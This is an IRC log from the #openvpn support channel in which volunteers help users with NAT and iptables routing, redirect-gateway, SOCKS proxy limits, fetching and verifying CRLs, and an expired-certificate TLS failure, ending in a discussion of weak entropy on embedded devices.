07:50 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:51 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
07:52 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:57 -!- tharkun [~0@187.188.166.5] has joined #openvpn
08:06 < xTz> Why would you need to assign 2 IPs to a single client? On the other hand, if you are talking about multiple clients authenticating with the same cert. and getting IPs - that's possible.
08:19 -!- danci1973 [~danci1973@router.agenda.si] has joined #openvpn
08:19 -!- danci1973 [~danci1973@router.agenda.si] has left #openvpn []
08:42 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:43 -!- mode/#openvpn [+o dazo_afk] by ChanServ
08:43 -!- dazo_afk is now known as dazo
08:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:43 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:45 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
08:48 < matkor> xTz: I am trying to emulate local segment of ethernet tetwork, and I had many IP# assinged (different services) to single hosts.
08:49 -!- dosequis [~phil@modemcable174.227-70-69.static.videotron.ca] has joined #openvpn
08:50 < dosequis> hey all - I've been trying to setup a vpn server at work for more than I'd like to admit... I can ping other hosts on the internal network but for some reason I cannot acccess the internet. Any pointers?
08:50 < dosequis> Thanks in advance
08:51 < matkor> Looks like assigning many IP# on server side ( ip addr add 10.0.0.x dev tunX ) works  with setting route on client side ( sudo ip route add 10.0.0.x via 10.0.0.gw) but I am struggling with routing over such links ... :/
08:52 < matkor> dosequis: mtr google.com get's stuck where?
08:52 < dosequis> matkor: thanks for the reply. My client is on windows - how should I go about mtr ?
08:53 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
08:53 -!- mode/#openvpn [+o dazo_afk] by ChanServ
08:53 -!- dazo_afk is now known as dazo
08:54 < dosequis> matkor: tried tracert google.com
08:54 < dosequis> matkor: times out after the 1st line (1st line is 10.8.0.1 - after that it times out on 2,3,4,5, etc
08:55 < matkor> IIRC there is mtr for windows too
08:55 < dosequis> matkor: seems to get dns though because first line says Tracing route to google.com [74.125.228.71]
08:55 < matkor> 10.8.0.1 is what? client on which you run tracrt ?
08:56 < dosequis> matkor: 10.8.0.1 would be the server I believe
08:56 < dosequis> matkor: i have an openvpn server on ubuntu and I am accessing from a windows client
08:56 < dosequis> matkor: client ip is 10.8.0.6
08:56 < dosequis> matkor: this is on a tun setup (not bridged)
08:57 < matkor> dosequis: excellent, so now check if you have NAT set up on 10.8.0.1 ?
08:57 < dosequis> matkor: is that the ip_forward and iptables config stuff?
08:57 < matkor> dosequis: yes
08:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
08:58 < dosequis> matkor: I have followed a couple tutorials and have (in theory) get it setup
08:58 < dosequis> matkor: cat /proc/sys/net/ipv4/ip_forward == 1
08:59 < matkor> so verify if you see icmp packets coming out
08:59 < matkor> tcpdump -n -i eth0 icmp
08:59 < dosequis> matkor: forgive my newbness but how should I go about doing that
08:59 < dosequis> matkor: cool willt ry
08:59 < dosequis> matkor: *try
08:59 < matkor> assuming eth0 is default route device
08:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:00 -!- mode/#openvpn [+o dazo_afk] by ChanServ
09:00 -!- dazo_afk is now known as dazo
09:00 < matkor> looks like it's more routing/NAT problem than vpn ...
09:00 < dosequis> matkor: ok the command is up and running - how should I test it? run tracert again?
09:00 < matkor> or ping
09:01 < matkor> (less packets)
09:01 < matkor> ping google.com
09:01 < dosequis> matkor: yeah I see some prints
09:01 < dosequis> matkor: yeah the vpn seems to be working
09:01 < dosequis> matkor: can connect to other hosts and all - just no internet
09:02 < dosequis> this is an example from the tcpdump: 10:01:15.443146 IP 10.20.201.216 > xx.xxx.xxx.xx: ICMP echo request, id 1, seq 218, length 72
09:04 < matkor> if you see 10.20.201.216 as packet source means your NAT is broken
09:04 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
09:04 < dosequis> matkor: 10.20.201.216 is the server ip on the work network
09:05 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 268 seconds]
09:05 < dosequis> matkor: in case that clarifies things
09:05 < matkor> ah you have double NAT
09:05 < dosequis> matkor: yeah so internal network is 10.20.201.xxx and vpn is 10.8.0.xxx
09:06 < matkor> and if you ping google from 10.20.201.216 you get reply ? ( and in tcpudmp echo requests + replys) right ?
09:07 < dosequis> matkor: one sec let me check
09:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
09:08 < matkor> packets should look pretty  same in tcpdump as those NATed from 10.8.0.6 ...
09:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:09 < dosequis> matkor: huh strange. ping doesn't work although I believe it never really has for some reason. I see the icmp packets though and I can curl/wget pages no problem.
09:09 < dosequis> 10:08:10.618641 IP 10.20.201.216 > 74.125.228.69: ICMP echo request, id 16357, seq 32, length 64
09:10 < matkor> if icmp does not work  your network is broken ;)
09:11 < dosequis> matkor: it doesn't work based on the packets I showed you? I am not sure what they are supposed to look like...
09:11 < matkor> first icmp (ping) should work
09:13 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
09:13 < dosequis> matkor: so basically since I can't ping that means something is broken? I know we have a hardware switch/firewall so I am thinking that's the issue wrt ping
09:13 < matkor> I woudl expect pairs like
09:13 < matkor> 6:12:38.184077 IP 192.168.3.131 > 89.25.215.87: ICMP echo request, id 9767, seq 2, length 64
09:13 < matkor> 16:12:38.214996 IP 89.25.215.87 > 192.168.3.131: ICMP echo reply, id 9767, seq 2, length 64
09:13 < dosequis> matkor: ah I see
09:13 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
09:13 < dosequis> matkor: the internet does work though
09:13 < dosequis> matkor: just not pings
09:13 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
09:15 < matkor> so check where NAT is not working with  wget instead of  ping.
09:15 < dosequis> matkor: ok one sec
09:16 < dosequis> matkor: nothing is showing up in the tcpdump when I curl/wget
09:16 < matkor> try wget sth shor from  10.8.0.6 and see what is different than doing same from 10.20.201.216
09:16 < matkor> you propably need to read about tcpdump filters
09:17 < dosequis> matkor: yeah I am not too familiar with it - sorry for asking so many questions
09:17 < matkor>  tcpdump -n -i eth0 icmp - means you filter only icmp traffic (pings/reply) which is not case with wget
09:17 < dosequis> matkor: i guess i have to filter for another type of packet - not icmp
09:17 < dosequis> matkor: ok that's what I figured
09:17 < matkor> try filter host you are wgetting from
09:18 < matkor> tcpdump -n -i eth0  host x.y.z.q
09:19 < dosequis> matkor: ok ran that on the server first
09:19 < dosequis> see a bunch of packets
09:19 < dosequis> ack - seq combos
09:19 < matkor> running from NATed client you shoudl see pretty same
09:19 < dosequis> will try from client
09:20 < dosequis> matkor: looks different
09:20 < theneb> If I just want a dns server to resovle a single hostname for openvpn clients, is bind the best option or is there something more lightweight?
09:21 < dosequis> matkor: I see one ack-seq from server and then a buch of google -> server seq
09:21 < rob0> theneb, dnsmasq
09:22 < dosequis> matkor: definitely doesn't look the same as on server
09:23 < dosequis> matkor: example seq: 10:21:57.625681 IP 173.194.46.8.80 > 10.20.201.216.52863: Flags [.], seq 1:1369, ack 350, win 1000, length 136
09:24 < dosequis> matkor: seems like server forwarded request but then can't pass it back to vpn client or something like that
09:25 < matkor> dosequis: so you have only half of NAT ;)
09:25 < dosequis> matkor: seems to be the case? Maybe I messed something up in iptables on server?
09:27 < dosequis> matkor: this is what I put in my iptables (based on multiple tutorials): iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
09:27 < dosequis> iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT
09:27 < dosequis> iptables -A FORWARD -j REJECT
09:27 < dosequis> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
09:28 -!- i7c [~i7c@unaffiliated/i7c] has quit [Read error: Operation timed out]
09:29 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
09:30 < matkor> looks ok to me
09:34 < matkor> just check if really packets are not forwarded to openvpns interface (so it's not 10.8.0.6 issue)
09:35 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
09:36 < dosequis> matkor: how can I check that?
09:39 < matkor> tcpdump on -i tunX  insted of on -i eth0
09:39 < matkor> with same filters
09:39 < matkor> packets should look same everywhere except IP# NATed ...
09:45 < dosequis> matkor: ok cool one sec let me try
09:46 < dosequis> matkor: ok so when I try to fetch google from client I packets from 10.8.0.6 (client) > google, nothing in the other way
09:47 < theneb> rob0 Thanks! :)
09:50 < dosequis> matkor: actually never mind
09:51 < dosequis> matkor: so I am getting packets going both ways
09:52 < dosequis> matkor: from google > client and vice-versa
09:52 < dosequis> matkor: could this be an issue on windows?
09:53 < matkor> if you see _same_ packets running  on eth0 and tunX on server, it points to client issue
09:54 < dosequis> matkor: ok I see. I don't think I am seeing the same stuff on eth0 and tun0
09:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:55 < matkor> !welcome
09:55 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:55 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:55 < dosequis> matkor: let me just rerun to test
09:57 < dosequis> matkor: ok i do see the same packets
09:58 < dosequis> matkor: on eth0 and tun0
10:00 < matkor> use different client ;)
10:00 < dosequis> matkor: haha ok will try
10:00 < dosequis> matkor: if the client is the issue I feel bad
10:00 < dosequis> matkor: thanks for your help though
10:00 < dosequis> matkor: I'll report back once I try to troubleshoot the client some more
10:06 < dosequis> matkor: I turned off the windows firewall completely. Wondering what else could be wrong on the client - any pointers as to what I should be looking into?
10:07 < dosequis> matkor: also set it up on my iphone and can't get internet on the phone as well...
10:07 <+pekster> !redirect
10:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:07 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
10:19 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 246 seconds]
10:22 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
10:24 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 246 seconds]
10:24 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:26 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:28 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has quit [Ping timeout: 240 seconds]
10:30 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:30 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
10:30 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
10:30 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:34 < matkor> Dar1us: I setup ethernet-bridging  without really bridging anything, and looks like I have cool tanX devices which behave like level2 link, so I can assign IP#, do whatever I should be able to with eth0 ;) Cool ! :)
10:36 < matkor> dosequis: Tried  --redirect-gateway ?
10:38 <+pekster> !learn serverlan as flowchart mirror at http://pekster.sdf.org/misc/serverlan.png
10:38 <@vpnHelper> Joo got it.
10:38 <+pekster> !learn clientlan as flowchart mirror at http://pekster.sdf.org/misc/clientlan.png
10:38 <@vpnHelper> Joo got it.
10:38 <+pekster> krzee: FYI, those mirrored files are now indexed, saving over half the file size at an almost unnoticable drop in quality
10:39 < dosequis> matkor: is that an option I should enable on server?
10:41 < dosequis> matkor: oh ok I assume this is the push "redirect-gateway def1" option?
10:41 <@krzee> pekster++
10:41 < dosequis> matkor: that's what I have
10:42 <@krzee> thanks, my bad on letting them go unmirrored
10:42 <+pekster> No worries. I just saw the filesizes and had to do something about it. Not that is's a problem, but I like compressed data
10:42 <+pekster> 117.4k -> 47.2k
10:42 <+pekster> (for clientlan)
10:44 < matkor> dosequis: So I run out of ideas :) good luck, I have to go.
10:44 -!- matkor [~matkor@host93179197152.static.3s.pl] has quit [Quit: Z prawd studentek medycyny: "bez kiły nie ma zaliczenia"]
10:51 -!- surfhai [~tg@pD9E20815.dip0.t-ipconnect.de] has joined #openvpn
11:08 -!- raidz_away is now known as raidz
11:12 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
11:14 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
11:15 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
11:18 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
11:24 -!- Sazpaimon [wat@unaffiliated/Sazpaimon] has joined #openvpn
11:25 < Sazpaimon> how can I bypass OpenVPN for certain IPs/ports on Windows?
11:25 <+pekster> "bypass"
11:25 <+pekster> ?
11:25 < Sazpaimon> as in, not use the VPN connection and use my regular connection
11:25 <+pekster> That's the defaeult behaviour
11:25 <+pekster> Perhaps you're using (or pushing) --redirect-gateway ? To change that for "some" connections but not all of them you'd need policy routing
11:26 <+pekster> Optionally you could add a route via your physical connection if you know the IP in advance
11:26 < Sazpaimon> let me check the ovpn file that my provider gave me
11:26 <+pekster> Not really helpful in that case since you'll be pulling options from them
11:26 <+pekster> !provider
11:26 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
11:26 <+pekster> Also note that you effectively can't do proper policy routing on Windows
11:27 <+pekster> Maybe some of the advanced IAS Server systems have some crappy solution, but no one (in their right mind) actually uses Windows to perform policy routing
11:27 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
11:27 < Sazpaimon> well here's the content of their ovpn file: http://pastebin.com/VqjwrVEW
11:28 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
11:28 <+pekster> Right, I don't really care unless you have a server config file to go with it
11:28 < Sazpaimon> yeah unfortunately not
11:28 < Sazpaimon> I used to be able to use some tool which forced programs to use my physical adapter instead of routing through tap-win32, but this doesn't seem to work anymore
11:28 <+pekster> Read the manpage about --redirect-gateway and possibly the --route commands if you want to override the /1 routes (or /0 if they're stupid and not using def1) with a more specific route
11:29 <+pekster> If what you want can't be defined in a series of CIDR routes, then use a less-crappy OS and learn to policy route
11:29 < Sazpaimon> alright, I'll look it up
11:31 <+pekster> The one clue I will leave you with is that --route can take some special flags in place of the gateway, specifically the net_gateway value may be useful if you are interested in going that route
11:40 -!- EddieBauer [~eddie@bas16-ottawa23-1242439757.dsl.bell.ca] has joined #openvpn
11:41 < EddieBauer> !welcome
11:41 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:41 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:43 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
11:43 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:43 < EddieBauer> Hello, does anyone know of a way of getting OpenVPN's socks-proxy configuration to work with a SOCKS4/SOCKS4a proxy?  I seem to only be able to get it working with SOCKS5 proxies.
11:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
11:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:49 <+pekster> EddieBauer: Nope, it's socks5-support-only at present. The source code specifically expects this
11:51 <+pekster> It's unlikely openvpn will ever support 4/4a due to lack of UDP transport
11:51 <+pekster> (and IPv6, in today's world)
11:53 <+EugeneKay> I want ICMP transport :-(
11:54 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
11:54 < EddieBauer> Ah see.  Thank you
11:56 <+pekster> ICMP errors on one end are simply reported to the transport layer as you'd generally expect the protocol stack to work
12:14 -!- RichardBronosky_ is now known as RichardBronosky
12:16 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:16 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
12:17 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
12:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 252 seconds]
12:32 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has joined #openvpn
12:36 -!- Muffins [~nanderson@69.146.233.50] has quit [Ping timeout: 240 seconds]
12:38 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
12:39 -!- surfhai [~tg@pD9E20815.dip0.t-ipconnect.de] has left #openvpn []
12:42 < michaelhart> Given a client cert that was signed by a CA that has a crlDistributionPoints=URI:https://foo.bar/crl.pem set, does OpenVPN go and check the CRL? I see the crl-verify option in the manual, but it's unclear what OpenVPN does without this option, and if it supports anything other than files.
12:43 < michaelhart> Or maybe more simply put, what is OpenVPN's default behaviour with regards to CRL's.
12:45 <+pekster> OpenVPN won't do anything with a CDP in the X509 cert of the peer or the CA
12:46 <+pekster> You could write some logic to go fetch it when the CRL expiration passes, or on a timed-basis (eg: refresh it once a week) but that would have to be handled outside openvpn. You can see the --tls-verify switch to do fancy things like that to perform additional checks on an otherwise-valid cert chain
12:47 <+pekster> As it stands now, OpenVPN will happily use a CRL even after its 'next CRL' date passes
12:48 -!- EddieBauer [~eddie@bas16-ottawa23-1242439757.dsl.bell.ca] has quit [Quit: Leaving.]
12:51 < michaelhart> I'm not sure if it's good or bad that it'll use a CRL even after the next date, makes life a bit simpler for me. Can OpenVPN use http(s) protocols to get a CRL or can it only use file-based ones?
12:57 < michaelhart> hmm, if I read the source code correctly, assuming using openssl, it calls PEM_read_bio_X509_CRL() which takes in a file pointer. I'm going to assume it can't do http(s) and I need to distribute the CRL file.
12:58 < michaelhart> (from src/openvpn/ssl_verify_openssl.c:589)
12:58 <+pekster> Right
12:59 <+pekster> You're free to update it how you want, but that update mechanism will have to be outside of openvpn (although using script hooks you can call your external updater process from openvpn itself)
12:59 <+pekster> You could, for instance, attempt to refresh it weekly on a connection, but allow the connection to pass on failed refresh, so long as the CRL expiration hasn't passed, or w/e
13:00 <@ecrist> you could write a client connect script that calls wget/curl/fetch to pull the new CRL
13:00 <+pekster> (the script could even attempt to verify the newly-received CRL before replacing the old one, preventing a MITM from hosing your connections by feeding you a bogus CRL)
13:00 <@ecrist> or just write something completely outside the scope of openvpn itself to manage it
13:00 <@ecrist> openvpn isn't really a CA management tool, it just makes use of PKI
13:01 <+pekster> Also, fwiw, there's no real benefit to setting your CDP to an https:// URL beyond removing the MITM potential since CRLs are themselves signed (and it's especially ugly if your CRL at the CDP URL contains revocation info for the https:// cert path
13:02 <@ecrist> heh
13:02 <@ecrist> no good reason to have a CRL on an HTTPS url
13:02 <+pekster> Yup, that was the tl;dr :)
13:05 <+pekster> wget $cdp > $crl_file_temp && { openssl crl -CAfile $ca -in $crl_file_temp -noout && mv $crl_file_temp $crl_file; exit 0 } || rm $crl_file_temp; exit 1 ## or something
13:05 <+pekster> Reader's excersize to add logic to deal with nextupdate fields
13:10 < michaelhart> I think the simplest way for me to handle this, given that openvpn ignores the nextupdate field, is to distribute the crl with chef, and ensure that whenever I update the CRL I also publish the new CRL to chef. I see your point about https, will move it to http:// for those systems that honor it.
13:11 < michaelhart> I can trust that if chef has the latest crl it'll get to the nodes in < 15 minutes, which is timely enough for my purposes.
13:14 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
13:20 < dosequis> is it normal that samba runs super slowly over openvpn?
13:32 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:32 -!- Devastator [~devas@186.214.14.95] has quit [Changing host]
13:32 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:46 -!- _droid [~Thunderbi@94.187.104.58] has joined #openvpn
13:50 < _droid> hi, this is my first time setting up a vpn server and I want to get to know the terminologies before starting anything. Now I have checked this website (german) http://wiki.openvpn.eu/index.php/Hauptseite and I need the terms Bridging and Routing to be explained, since the vpn routing is not really explained in that link.
13:50 <@vpnHelper> Title: OpenVPN Wiki (at wiki.openvpn.eu)
13:53 <@ecrist> !101
13:53 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
13:53 <@ecrist> that said, unless you know you need bridging, you don't need it
13:54 <@ecrist> so go with a routed configuration
14:02 < fischli> _droid: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
14:02 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
14:05 < _droid> fischli: thank you
14:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
14:26 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has joined #openvpn
14:30 < phantomcircuit> i've recently updated to 2.3.1 (on both server and clients)
14:31 < phantomcircuit> now my servers logs are full of TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
14:31 < phantomcircuit> the only configuration change was tls-remote -> verify-x509-name
14:32 < phantomcircuit> client logs show TLS: Initial packet from [AF_INET]x.x.x.x:1194, sid=xxxxxxxx xxxxxxxx
14:32 < phantomcircuit> immediately followed by TCP/UDP: Closing socket
14:33 < phantomcircuit> huh that's weird
14:34 < phantomcircuit> the client is behind NAT
14:34 < phantomcircuit> would that cause a problem?
14:42 -!- hfp [~user@ovpn.t28.net] has quit [Ping timeout: 248 seconds]
14:44 <+pekster> phantomcircuit: The socket was closed for a reason. It's quite possible the remote end doesn't like the cert, so you should verify logs from both ends
14:47 < phantomcircuit> pekster, there's no obvious indication of that
14:47 < phantomcircuit> im running with verb 4
14:47 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
14:51 < phantomcircuit> pekster, i just noticed "Re-using SSL/TLS context"
14:51 <+pekster> bitsi and pieces don't really help
14:51 <+pekster> !logs
14:51 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:51 < phantomcircuit> that's after restarting openvpn
14:52 < phantomcircuit> how can i clear the ssl/tls cache
14:52 <+pekster> You don't; that's initialized when openvpn starts up
14:52 <+pekster> Don't second guess TLS
14:53 <+pekster> The "cache" you speak of is when openvpn loads the keyfiles and security settings (determined by configuration or built-in defaults) when the program loads up. It's not relevant to your current problem
14:56 < phantomcircuit> pekster, logs from the server http://pastebin.com/raw.php?i=WEAHTUCc
14:57 <+pekster> Looks like it gets the first packet from the client but nothing happens after that
14:57 < phantomcircuit> checking tcpdump there are udp packets going back and forth clearly in response to each other
14:58 <+pekster> You can temporarily up the verbosity to 5 to watch the rwRW letters to see if both ends are getting the outside packets
14:58 <+pekster> If you get a bunch of W (writes) but no R's back (reads) then the packets aren't making it back to one end or the other
14:59 < phantomcircuit> http://pastebin.com/raw.php?i=kKuZP2ai
14:59 < phantomcircuit> logs from the client
15:02 < phantomcircuit> Wed Jul 17 21:01:54 2013 us=312387 TLS Error: Unroutable control packet received from [AF_INET]server:1194 (si=3 op=P_CONTROL_V1)
15:02 <+pekster> The SIGUSR1[soft,tls-error]" bit is only returned when there's some fatal TLS problem. The curious thing is this happens right away with no delay
15:03 < phantomcircuit> error=certificate has expired
15:03 < phantomcircuit> :|
15:03 < phantomcircuit> only visible with verb 6
15:03 < kisom> Is it normal that the TLS handshake takes 70 seconds?
15:03 <+pekster> Curious
15:03 < kisom> The server is on the other side of the planet, but still...
15:03 <+pekster> Are you using openssl, or polarssl?
15:03 <+pekster> kisom: The server waits patiently while the client bails after a TLS negotation failure
15:04 < phantomcircuit> pekster, openssl
15:04 < kisom> pekster: Thing is, the connection is established after some 70 seconds, and then it works great.
15:04 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Excess Flood]
15:04 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
15:05 < phantomcircuit> pekster, certificate expired today but this hasn't worked for 2-3 days
15:05 < phantomcircuit> so that's weird
15:05 < phantomcircuit> maybe the dates wrong on the server
15:05 <+pekster> kisom: Oh, different issue? (I thought you were commenting on the server logs.) Bad delivery can cause delays, especially regarding the TLS channel
15:05 < phantomcircuit> bleh ca key expired i have to redo the entire pki
15:06 <+pekster> phantomcircuit: As long as you have a CRL infrastructure in place, there's often little reason to expire certs early. Since you have to replace the CA cert anyway, you might as well issue them for 100 years or soemthing and avoid hassles
15:06 < kisom> Watch out for OpenSSL on 32 bits system
15:06 < kisom> It does not sign past the 32 bit unix timestamp in my experience
15:06 < phantomcircuit> yeah i was about to say
15:06 <+pekster> Works For Me
15:07 < phantomcircuit> pekster, it's architecture dependent
15:07 < phantomcircuit> gotta love openssl
15:07 < phantomcircuit> works on x86 but not arm
15:07 < phantomcircuit> because why not
15:08 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
15:08 <+pekster> x86 == 32-bit
15:08 <+pekster> Can't really speak to arm
15:08 < phantomcircuit> im aware
15:09 <+pekster> Not After : Apr 11 20:08:16 2413 GMT
15:09 <+pekster> 400 year signing works fine on i686 :)
15:09 <+pekster> I'm curious to see if my MIPS unit will eat that, but the box isn't accessible right now
15:09 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
15:09 < phantomcircuit> they have their own time value struct which is defined based on the architecture
15:10 < phantomcircuit> the certificate uses a ASIN.1 integer which is a bignum
15:10 < phantomcircuit> so you can get weirdness where the ASIN.1 integer cannot be represented accurately
15:11 <@krzee> most mips units arent good for keygen anyways
15:11 <@krzee> not enough entropy
15:11 < phantomcircuit> Sat Jul 15 20:25:06 UTC 2023
15:11 < phantomcircuit> good enough
15:11 <+pekster> Nothing wrong with using embedded units if you generate them elsewhere
15:11 <@krzee> exactly
15:12 <+pekster> Entropy pulled in during the DH exchange won't be all that great, but presumably the other side will compensate
15:12 <@krzee> keygen no, using keys generated elsewhere yes
15:12 <+pekster> That's not hugely critical anyway
15:12 <@krzee> when i was installing openvpn on openwrt and it offered easy-rsa i was like nooooooooooooooo
15:15 < kisom> Embedded units still have a PRNG
15:16 < kisom> Which is fine for crypto, as long as it has had enough entropy in the past.
15:16 <+pekster> No, no it's not
15:16 <+pekster> 29C3 had a fantastic talk on attacking RSA this very method
15:16 <+pekster> (and it's been known for some time before that)
15:16 <@krzee> yep, what pekster said
15:16 <@krzee> yes, that talk was GREAT
15:16 <@krzee> djb++
15:16 < kisom> OK, gotta watch that talk
15:17 < kisom> Got any link?
15:17 <+pekster> google 'facthacks' and maybe tack on 29C3
15:17 <+pekster> I have a PDF whitepaper ref for you too in a sec
15:18 < phantomcircuit> sigh still not working right
15:18 < kisom> Found the video.
15:18 <+pekster> kisom: http://www.ittc.ku.edu/~niehaus/classes/750-s12/documents/linux_RNG.pdf
15:19 <+pekster> ca. 2006
15:19 <+pekster> Can't say this hasn't been well-publicised for quite a while now
15:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:20 < kisom> OK, I assume they will fix it (if it hasen't been fixed yet)
15:20 < kisom> Assuming the flaw is in the hashing algorithm
15:20 <@krzee> you do?
15:20 <@krzee> the flaw is those routers dont have enough entropy
15:20 <@krzee> which isnt a flaw to the designers of the routers
15:20 <+pekster> entropy is the problem. modern hashing algs are fine
15:20 <@krzee> (as they werent usually made to handle crypto)
15:21 -!- _droid [~Thunderbi@94.187.104.58] has quit [Quit: _droid]
15:21 <+pekster> Here's a more recent paper (I just found it now, but skimming it there's some good info) that discusses potential improvements to PRNG *source* (ie: where the entropy comes from.) http://cseweb.ucsd.edu/~swanson/papers/Oakland2013EarlyEntropy.pdf
15:21 < kisom> Yeah, but my point is that if you did have enough (say at least 1k bits) of entropy at some point, you can just hash that entropy with a counter and voila
15:21 <+pekster> Nope, you are starting with garbage data
15:21 < kisom> You have a pretty much umpredictable stream of data
15:21 <+pekster> That's the entire point of that 1 hour talk (so you should watch it)
15:21 <+pekster> Sorry, wrong again
